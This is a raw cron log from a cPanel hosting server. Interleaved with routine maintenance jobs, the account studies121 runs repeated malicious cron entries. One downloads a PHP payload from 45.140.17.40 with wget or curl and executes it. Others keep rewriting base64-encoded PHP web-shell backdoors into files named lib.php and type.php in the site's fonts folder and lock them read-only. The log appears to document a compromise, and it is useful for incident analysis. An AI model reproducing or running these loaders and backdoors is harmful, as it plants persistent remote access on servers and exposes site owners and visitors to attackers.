Sep  2 13:38:01 ip-184-168-122-23 CROND[24894]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 13:38:01 ip-184-168-122-23 CROND[24893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:39:01 ip-184-168-122-23 CROND[24999]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:39:01 ip-184-168-122-23 CROND[25002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:39:01 ip-184-168-122-23 CROND[25004]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:39:01 ip-184-168-122-23 CROND[25006]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:39:01 ip-184-168-122-23 CROND[25005]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 13:40:01 ip-184-168-122-23 CROND[25101]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 13:40:01 ip-184-168-122-23 CROND[25103]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 13:40:01 ip-184-168-122-23 CROND[25104]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 13:40:01 ip-184-168-122-23 CROND[25109]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:40:01 ip-184-168-122-23 CROND[25110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:40:01 ip-184-168-122-23 CROND[25111]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 13:40:01 ip-184-168-122-23 CROND[25113]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:40:01 ip-184-168-122-23 CROND[25114]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:41:01 ip-184-168-122-23 CROND[25256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:41:01 ip-184-168-122-23 CROND[25257]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:41:01 ip-184-168-122-23 CROND[25258]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:41:01 ip-184-168-122-23 CROND[25260]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:42:01 ip-184-168-122-23 CROND[25334]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:42:01 ip-184-168-122-23 CROND[25337]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:42:01 ip-184-168-122-23 CROND[25338]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:42:01 ip-184-168-122-23 CROND[25336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:42:01 ip-184-168-122-23 CROND[25339]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 13:43:01 ip-184-168-122-23 CROND[25423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:43:01 ip-184-168-122-23 CROND[25426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:43:01 ip-184-168-122-23 CROND[25425]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:43:01 ip-184-168-122-23 CROND[25424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:44:01 ip-184-168-122-23 CROND[25612]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 13:44:01 ip-184-168-122-23 CROND[25614]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:44:01 ip-184-168-122-23 CROND[25610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:44:01 ip-184-168-122-23 CROND[25611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:44:01 ip-184-168-122-23 CROND[25613]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:45:01 ip-184-168-122-23 CROND[25698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:45:01 ip-184-168-122-23 CROND[25699]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:45:01 ip-184-168-122-23 CROND[25702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:45:01 ip-184-168-122-23 CROND[25703]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 13:45:01 ip-184-168-122-23 CROND[25706]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:45:01 ip-184-168-122-23 CROND[25704]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 13:46:02 ip-184-168-122-23 CROND[25825]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:46:02 ip-184-168-122-23 CROND[25832]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 13:46:02 ip-184-168-122-23 CROND[25831]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 13:46:02 ip-184-168-122-23 CROND[25834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:46:02 ip-184-168-122-23 CROND[25833]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:46:02 ip-184-168-122-23 CROND[25835]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  2 13:46:02 ip-184-168-122-23 CROND[25838]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:47:01 ip-184-168-122-23 CROND[25927]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:47:01 ip-184-168-122-23 CROND[25928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:47:01 ip-184-168-122-23 CROND[25929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:47:01 ip-184-168-122-23 CROND[25930]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:48:01 ip-184-168-122-23 CROND[26025]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:48:01 ip-184-168-122-23 CROND[26027]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:48:01 ip-184-168-122-23 CROND[26028]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 13:48:01 ip-184-168-122-23 CROND[26029]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:48:01 ip-184-168-122-23 CROND[26031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:49:01 ip-184-168-122-23 CROND[26120]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  2 13:49:01 ip-184-168-122-23 CROND[26121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:49:01 ip-184-168-122-23 CROND[26123]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:49:01 ip-184-168-122-23 CROND[26122]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:49:01 ip-184-168-122-23 CROND[26124]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:50:01 ip-184-168-122-23 CROND[26249]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 13:50:01 ip-184-168-122-23 CROND[26251]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 13:50:01 ip-184-168-122-23 CROND[26255]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 13:50:01 ip-184-168-122-23 CROND[26259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:50:01 ip-184-168-122-23 CROND[26260]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
